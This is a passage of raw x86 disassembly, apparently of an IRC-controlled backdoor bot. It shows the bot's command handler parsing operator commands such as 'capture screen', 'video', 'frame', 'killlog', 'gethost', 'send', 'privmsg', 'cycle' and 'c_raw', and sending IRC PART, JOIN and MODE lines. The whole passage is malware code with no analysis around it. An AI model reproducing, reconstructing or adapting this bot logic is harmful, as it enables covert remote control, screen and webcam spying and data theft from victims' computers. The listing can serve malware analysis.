		push	offset unk_4436B0
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx


loc_4079FA:				; CODE XREF: sub_4021E5+57D0j
					; sub_4021E5+5800j
		jmp	loc_407DF6
; ---------------------------------------------------------------------------


loc_4079FF:				; CODE XREF: sub_4021E5+579Aj
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		push	offset aStop	; "stop"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_407A45
		push	[ebp+var_1D68]
		push	4
		call	sub_41AE5B
		pop	ecx
		pop	ecx
		push	eax
		push	offset aS_3	; "%s"
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		jmp	loc_407DF6
; ---------------------------------------------------------------------------


loc_407A45:				; CODE XREF: sub_4021E5+5835j
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		push	offset aPause	; "pause"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_407A8B
		push	[ebp+var_1D68]
		push	5
		call	sub_41AE5B
		pop	ecx
		pop	ecx
		push	eax
		push	offset aS_4	; "%s"
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		jmp	loc_407DF6
; ---------------------------------------------------------------------------


loc_407A8B:				; CODE XREF: sub_4021E5+587Bj
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		push	offset aContinue ; "continue"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_407AD1
		push	[ebp+var_1D68]
		push	6
		call	sub_41AE5B
		pop	ecx
		pop	ecx
		push	eax
		push	offset aS_5	; "%s"
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		jmp	loc_407DF6
; ---------------------------------------------------------------------------


loc_407AD1:				; CODE XREF: sub_4021E5+58C1j
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		push	offset aDelete_0 ; "delete"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_407B17
		push	[ebp+var_1D68]
		push	1
		call	sub_41AE5B
		pop	ecx
		pop	ecx
		push	eax
		push	offset aS_6	; "%s"
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		jmp	loc_407DF6
; ---------------------------------------------------------------------------


loc_407B17:				; CODE XREF: sub_4021E5+5907j
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		push	offset aShare	; "share"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_407C08
		mov	eax, [ebp+var_BC]
		cmp	[ebp+eax*4+var_98], 0
		jz	short loc_407BBE
		movzx	eax, [ebp+var_370]
		test	eax, eax
		jz	short loc_407B83
		push	0
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_98]
		push	1
		call	sub_41B4ED
		add	esp, 0Ch
		push	eax
		push	offset aS_7	; "%s"
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		jmp	short loc_407BBC
; ---------------------------------------------------------------------------


loc_407B83:				; CODE XREF: sub_4021E5+596Cj
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_94]
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_98]
		push	0
		call	sub_41B4ED
		add	esp, 0Ch
		push	eax
		push	offset aS_8	; "%s"
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch


loc_407BBC:				; CODE XREF: sub_4021E5+599Cj
		jmp	short loc_407C03
; ---------------------------------------------------------------------------


loc_407BBE:				; CODE XREF: sub_4021E5+5961j
		push	0
		push	[ebp+var_85C]
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_41B758
		add	esp, 10h
		test	eax, eax
		jz	short loc_407BF0
		push	offset unk_443714
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx
		jmp	short loc_407C03
; ---------------------------------------------------------------------------


loc_407BF0:				; CODE XREF: sub_4021E5+59F4j
		push	offset unk_443738
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx


loc_407C03:				; CODE XREF: sub_4021E5:loc_407BBCj
					; sub_4021E5+5A09j
		jmp	loc_407DF6
; ---------------------------------------------------------------------------


loc_407C08:				; CODE XREF: sub_4021E5+594Dj
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		push	offset aUser	; "user"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_407D6D
		mov	eax, [ebp+var_BC]
		cmp	[ebp+eax*4+var_98], 0
		jz	loc_407D23
		movzx	eax, [ebp+var_370]
		test	eax, eax
		jz	short loc_407C8A
		push	[ebp+var_85C]
		push	[ebp+var_98]
		push	[ebp+arg_4]
		push	0
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_98]
		push	1
		call	sub_41B8D8
		add	esp, 18h
		push	eax
		push	offset aS_9	; "%s"
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		jmp	loc_407D21
; ---------------------------------------------------------------------------


loc_407C8A:				; CODE XREF: sub_4021E5+5A61j
		mov	eax, [ebp+var_BC]
		cmp	[ebp+eax*4+var_94], 0
		jz	short loc_407CE4
		push	[ebp+var_85C]
		push	[ebp+var_98]
		push	[ebp+arg_4]
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_94]
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_98]
		push	0
		call	sub_41B8D8
		add	esp, 18h
		push	eax
		push	offset aS_10	; "%s"
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		jmp	short loc_407D21
; ---------------------------------------------------------------------------


loc_407CE4:				; CODE XREF: sub_4021E5+5AB3j
		push	[ebp+var_85C]
		push	[ebp+var_98]
		push	[ebp+arg_4]
		push	0
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_98]
		push	2
		call	sub_41B8D8
		add	esp, 18h
		push	eax
		push	offset aS_11	; "%s"
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch


loc_407D21:				; CODE XREF: sub_4021E5+5AA0j
					; sub_4021E5+5AFDj
		jmp	short loc_407D68
; ---------------------------------------------------------------------------


loc_407D23:				; CODE XREF: sub_4021E5+5A52j
		push	0
		push	[ebp+var_85C]
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_41BF3D
		add	esp, 10h
		test	eax, eax
		jz	short loc_407D55
		push	offset unk_44376C
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx
		jmp	short loc_407D68
; ---------------------------------------------------------------------------


loc_407D55:				; CODE XREF: sub_4021E5+5B59j
		push	offset unk_44378C
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx


loc_407D68:				; CODE XREF: sub_4021E5:loc_407D21j
					; sub_4021E5+5B6Ej
		jmp	loc_407DF6
; ---------------------------------------------------------------------------


loc_407D6D:				; CODE XREF: sub_4021E5+5A3Ej
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		push	offset aSend	; "send"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_407DE3
		mov	eax, [ebp+var_BC]
		cmp	[ebp+eax*4+var_98], 0
		jz	short loc_407DCE
		push	[ebp+var_85C]
		push	[ebp+var_98]
		push	[ebp+arg_4]
		push	[ebp+var_1D68]
		call	sub_41C3F4
		add	esp, 10h
		push	eax
		push	offset aS_12	; "%s"
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		jmp	short loc_407DE1
; ---------------------------------------------------------------------------


loc_407DCE:				; CODE XREF: sub_4021E5+5BB3j
		push	offset unk_4437B8
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx


loc_407DE1:				; CODE XREF: sub_4021E5+5BE7j
		jmp	short loc_407DF6
; ---------------------------------------------------------------------------


loc_407DE3:				; CODE XREF: sub_4021E5+5BA3j
		push	offset unk_4437DC
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx


loc_407DF6:				; CODE XREF: sub_4021E5+5742j
					; sub_4021E5:loc_4079FAj ...
		jmp	short loc_407E0B
; ---------------------------------------------------------------------------


loc_407DF8:				; CODE XREF: sub_4021E5+5735j
		push	offset unk_4437F8
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx


loc_407E0B:				; CODE XREF: sub_4021E5:loc_407DF6j
		cmp	[ebp+var_4], 0
		jnz	short loc_407E31
		push	0
		push	[ebp+var_85C]
		lea	eax, [ebp+var_858]
		push	eax
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_40B00F
		add	esp, 14h


loc_407E31:				; CODE XREF: sub_4021E5+5C2Aj
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4173DC
		pop	ecx
		mov	eax, [ebp+arg_24]
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_407E46:				; CODE XREF: sub_4021E5+571Fj
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aCapture	; "capture"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_407E84
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aCap	; "cap"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_408261


loc_407E84:				; CODE XREF: sub_4021E5+5C7Cj
		push	offset aScreen	; "screen"
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_407F14
		mov	eax, [ebp+var_BC]
		cmp	[ebp+eax*4+var_98], 0
		jz	short loc_407F01
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_98]
		call	sub_4177EB
		pop	ecx
		cmp	eax, 1
		jnz	short loc_407EEC
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_98]
		push	offset unk_443844
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		jmp	short loc_407EFF
; ---------------------------------------------------------------------------


loc_407EEC:				; CODE XREF: sub_4021E5+5CE2j
		push	offset unk_443870
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx


loc_407EFF:				; CODE XREF: sub_4021E5+5D05j
		jmp	short loc_407F14
; ---------------------------------------------------------------------------


loc_407F01:				; CODE XREF: sub_4021E5+5CCAj
		push	offset unk_4438A0
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx


loc_407F14:				; CODE XREF: sub_4021E5+5CBAj
					; sub_4021E5:loc_407EFFj
		push	offset aDrivers	; "drivers"
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_407FDC
		and	[ebp+var_5D8], 0
		jmp	short loc_407F4B
; ---------------------------------------------------------------------------


loc_407F3E:				; CODE XREF: sub_4021E5:loc_407FC4j
		mov	eax, [ebp+var_5D8]
		inc	eax
		mov	[ebp+var_5D8], eax


loc_407F4B:				; CODE XREF: sub_4021E5+5D57j
		cmp	[ebp+var_5D8], 0Ah
		jge	short loc_407FC9
		push	1FFh
		lea	eax, [ebp+var_1F68]
		push	eax
		push	0FFh
		lea	eax, [ebp+var_2468]
		push	eax
		push	[ebp+var_5D8]
		call	dword_4E1730
		test	eax, eax
		jz	short loc_407FC4
		lea	eax, [ebp+var_1F68]
		push	eax
		lea	eax, [ebp+var_2468]
		push	eax
		push	[ebp+var_5D8]
		push	offset unk_4438E4
		lea	eax, [ebp+var_2368]
		push	eax
		call	sub_4219C0
		add	esp, 14h
		push	0
		push	[ebp+var_85C]
		lea	eax, [ebp+var_2368]
		push	eax
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_40B00F
		add	esp, 14h


loc_407FC4:				; CODE XREF: sub_4021E5+5D95j
		jmp	loc_407F3E
; ---------------------------------------------------------------------------


loc_407FC9:				; CODE XREF: sub_4021E5+5D6Dj
		push	offset unk_44390C
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx


loc_407FDC:				; CODE XREF: sub_4021E5+5D4Aj
		push	offset aFrame	; "frame"
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_4080ED
		mov	eax, [ebp+var_BC]
		cmp	[ebp+eax*4+var_98], 0
		jz	loc_4080DA
		mov	eax, [ebp+var_BC]
		cmp	[ebp+eax*4+var_94], 0
		jz	loc_4080DA
		mov	eax, [ebp+var_BC]
		cmp	[ebp+eax*4+var_90], 0
		jz	loc_4080DA
		mov	eax, [ebp+var_BC]
		cmp	[ebp+eax*4+var_8C], 0
		jz	loc_4080DA
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_8C]
		call	sub_421670
		pop	ecx
		push	eax
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_90]
		call	sub_421670
		pop	ecx
		push	eax
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_94]
		call	sub_421670
		pop	ecx
		push	eax
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_98]
		call	sub_417AFA
		add	esp, 10h
		test	eax, eax
		jnz	short loc_4080C5
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_98]
		push	offset unk_44393C
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		jmp	short loc_4080D8
; ---------------------------------------------------------------------------


loc_4080C5:				; CODE XREF: sub_4021E5+5EBBj
		push	offset unk_443968
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx


loc_4080D8:				; CODE XREF: sub_4021E5+5EDEj
		jmp	short loc_4080ED
; ---------------------------------------------------------------------------


loc_4080DA:				; CODE XREF: sub_4021E5+5E26j
					; sub_4021E5+5E3Aj ...
		push	offset unk_44399C
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx


loc_4080ED:				; CODE XREF: sub_4021E5+5E12j
					; sub_4021E5:loc_4080D8j
		push	offset aVideo	; "video"
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_408226
		mov	eax, [ebp+var_BC]
		cmp	[ebp+eax*4+var_98], 0
		jz	loc_408213
		mov	eax, [ebp+var_BC]
		cmp	[ebp+eax*4+var_94], 0
		jz	loc_408213
		mov	eax, [ebp+var_BC]
		cmp	[ebp+eax*4+var_90], 0
		jz	loc_408213
		mov	eax, [ebp+var_BC]
		cmp	[ebp+eax*4+var_8C], 0
		jz	loc_408213
		mov	eax, [ebp+var_BC]
		cmp	[ebp+eax*4+var_88], 0
		jz	loc_408213
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_88]
		call	sub_421670
		pop	ecx
		push	eax
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_8C]
		call	sub_421670
		pop	ecx
		push	eax
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_90]
		call	sub_421670
		pop	ecx
		push	eax
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_94]
		call	sub_421670
		pop	ecx
		push	eax
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_98]
		call	sub_417DDF
		add	esp, 14h
		test	eax, eax
		jnz	short loc_4081FE
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_98]
		push	offset unk_4439DC
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		jmp	short loc_408211
; ---------------------------------------------------------------------------


loc_4081FE:				; CODE XREF: sub_4021E5+5FF4j
		push	offset unk_443A08
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx


loc_408211:				; CODE XREF: sub_4021E5+6017j
		jmp	short loc_408226
; ---------------------------------------------------------------------------


loc_408213:				; CODE XREF: sub_4021E5+5F37j
					; sub_4021E5+5F4Bj ...
		push	offset unk_443A48
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx


loc_408226:				; CODE XREF: sub_4021E5+5F23j
					; sub_4021E5:loc_408211j
		cmp	[ebp+var_4], 0
		jnz	short loc_40824C
		push	0
		push	[ebp+var_85C]
		lea	eax, [ebp+var_858]
		push	eax
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_40B00F
		add	esp, 14h


loc_40824C:				; CODE XREF: sub_4021E5+6045j
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4173DC
		pop	ecx
		mov	eax, [ebp+arg_24]
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_408261:				; CODE XREF: sub_4021E5+5C99j
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aGethost	; "gethost"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_40829F
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aGh	; "gh"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_4083ED


loc_40829F:				; CODE XREF: sub_4021E5+6097j
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		push	[ebp+arg_1C]
		call	sub_421B10
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_4083E5
		mov	eax, [ebp+var_BC]
		cmp	[ebp+eax*4+var_98], 0
		jz	loc_408383
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_98]
		push	[ebp+var_2D4]
		call	sub_421B10
		pop	ecx
		pop	ecx
		mov	[ebp+var_246C],	eax
		cmp	[ebp+var_246C],	0
		jz	short loc_40836E
		push	[ebp+var_246C]
		push	[ebp+var_98]
		push	[ebp+var_9C]
		push	[ebp+var_A0]
		push	offset aSSSS	; "%s %s %s :%s"
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 18h
		push	1FFh
		lea	eax, [ebp+var_858]
		push	eax
		push	[ebp+arg_0]
		call	sub_421470
		add	esp, 0Ch
		push	[ebp+var_246C]
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		push	offset unk_443AA4
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 10h
		mov	eax, [ebp+arg_24]
		inc	eax
		mov	[ebp+arg_24], eax
		jmp	short loc_408381
; ---------------------------------------------------------------------------


loc_40836E:				; CODE XREF: sub_4021E5+6114j
		push	offset unk_443ACC
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx


loc_408381:				; CODE XREF: sub_4021E5+6187j
		jmp	short loc_4083D8
; ---------------------------------------------------------------------------


loc_408383:				; CODE XREF: sub_4021E5+60E7j
		push	0
		push	[ebp+var_85C]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_41E66D
		add	esp, 0Ch
		push	eax
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_40B00F
		add	esp, 14h
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		push	offset dword_443AFC
		push	200h
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_421B90
		add	esp, 10h


loc_4083D8:				; CODE XREF: sub_4021E5:loc_408381j
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4173DC
		pop	ecx


loc_4083E5:				; CODE XREF: sub_4021E5+60D3j
		mov	eax, [ebp+arg_24]
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_4083ED:				; CODE XREF: sub_4021E5+60B4j
		mov	eax, [ebp+var_BC]
		cmp	[ebp+eax*4+var_98], 0
		jnz	short loc_408405
		push	1
		pop	eax
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_408405:				; CODE XREF: sub_4021E5+6216j
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aKilllog	; "killlog"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_40843F
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aKl	; "kl"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_408478


loc_40843F:				; CODE XREF: sub_4021E5+623Bj
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_98]
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		push	[ebp+var_85C]
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_41AAD0
		add	esp, 14h
		push	1
		pop	eax
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_408478:				; CODE XREF: sub_4021E5+6258j
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aAddalias ; "addalias"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_4084B6
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aAa	; "aa"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_408562


loc_4084B6:				; CODE XREF: sub_4021E5+62AEj
		cmp	[ebp+var_2D4], 0
		jz	loc_40855A
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_98]
		push	[ebp+var_2D4]
		call	sub_421B10
		pop	ecx
		pop	ecx
		mov	[ebp+var_2470],	eax
		cmp	[ebp+var_2470],	0
		jz	short loc_40855A
		push	[ebp+var_2470]
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		call	sub_417280
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		push	offset unk_443B34
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		cmp	[ebp+var_4], 0
		jnz	short loc_40854D
		push	0
		push	[ebp+var_85C]
		lea	eax, [ebp+var_858]
		push	eax
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_40B00F
		add	esp, 14h


loc_40854D:				; CODE XREF: sub_4021E5+6346j
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4173DC
		pop	ecx


loc_40855A:				; CODE XREF: sub_4021E5+62D8j
					; sub_4021E5+6305j
		push	1
		pop	eax
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_408562:				; CODE XREF: sub_4021E5+62CBj
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aPrivmsg_1 ; "privmsg"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_4085A0
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aPm	; "pm"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_408658


loc_4085A0:				; CODE XREF: sub_4021E5+6398j
		cmp	[ebp+var_2D4], 0
		jz	loc_408650
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		call	sub_41EBD0
		pop	ecx
		mov	esi, [ebp+var_2D4]
		add	esi, eax
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		call	sub_41EBD0
		pop	ecx
		lea	eax, [esi+eax+2]
		mov	[ebp+var_2D4], eax
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_98]
		push	[ebp+var_2D4]
		call	sub_421B10
		pop	ecx
		pop	ecx
		mov	[ebp+var_2474],	eax
		cmp	[ebp+var_2474],	0
		jz	short loc_408650
		push	0
		push	0
		push	[ebp+var_2474]
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		push	[ebp+arg_4]
		call	sub_40B00F
		add	esp, 14h
		push	[ebp+var_2474]
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		push	offset unk_443B60
		call	sub_417472
		add	esp, 0Ch


loc_408650:				; CODE XREF: sub_4021E5+63C2j
					; sub_4021E5+6427j
		mov	eax, [ebp+arg_24]
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_408658:				; CODE XREF: sub_4021E5+63B5j
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aAction	; "action"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_408696
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aA	; "a"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_408769


loc_408696:				; CODE XREF: sub_4021E5+648Ej
		cmp	[ebp+var_2D4], 0
		jz	loc_408761
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		call	sub_41EBD0
		pop	ecx
		mov	esi, [ebp+var_2D4]
		add	esi, eax
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		call	sub_41EBD0
		pop	ecx
		lea	eax, [esi+eax+2]
		mov	[ebp+var_2D4], eax
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_98]
		push	[ebp+var_2D4]
		call	sub_421B10
		pop	ecx
		pop	ecx
		mov	[ebp+var_2478],	eax
		cmp	[ebp+var_2478],	0
		jz	short loc_408761
		push	[ebp+var_2478]
		push	offset dword_443B8C
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		push	0
		push	0
		lea	eax, [ebp+var_858]
		push	eax
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		push	[ebp+arg_4]
		call	sub_40B00F
		add	esp, 14h
		push	[ebp+var_2478]
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		push	offset unk_443B98
		call	sub_417472
		add	esp, 0Ch


loc_408761:				; CODE XREF: sub_4021E5+64B8j
					; sub_4021E5+651Dj
		mov	eax, [ebp+arg_24]
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_408769:				; CODE XREF: sub_4021E5+64ABj
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aCycle	; "cycle"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_4087A7
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aCy	; "cy"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_40883F


loc_4087A7:				; CODE XREF: sub_4021E5+659Fj
		push	[ebp+var_9C]
		push	offset a332_0	; "332"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_4087C5
		push	1
		pop	eax
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_4087C5:				; CODE XREF: sub_4021E5+65D6j
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_98]
		push	offset aPartS_0	; "PART	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40AFBE
		add	esp, 0Ch
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		call	sub_421670
		pop	ecx
		imul	eax, 3E8h
		push	eax
		call	near ptr 27B048Ah
		nop
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_94]
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_98]
		push	offset aJoinSS_2 ; "JOIN %s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40AFBE
		add	esp, 10h
		push	offset dword_443BE0
		call	sub_4173DC
		pop	ecx
		mov	eax, [ebp+arg_24]
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_40883F:				; CODE XREF: sub_4021E5+65BCj
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aMode	; "mode"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_408879
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aM	; "m"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_4088DB


loc_408879:				; CODE XREF: sub_4021E5+6675j
		cmp	[ebp+var_2D4], 0
		jz	short loc_4088D3
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		push	[ebp+var_2D4]
		call	sub_421B10
		pop	ecx
		pop	ecx
		mov	[ebp+var_247C],	eax
		cmp	[ebp+var_247C],	0
		jz	short loc_4088D3
		push	[ebp+var_247C]
		push	offset aModeS	; "MODE	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40AFBE
		add	esp, 0Ch
		push	[ebp+var_247C]
		push	offset unk_443C0C
		call	sub_417472
		pop	ecx
		pop	ecx


loc_4088D3:				; CODE XREF: sub_4021E5+669Bj
					; sub_4021E5+66C4j
		mov	eax, [ebp+arg_24]
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_4088DB:				; CODE XREF: sub_4021E5+6692j
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aC_raw	; "c_raw"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
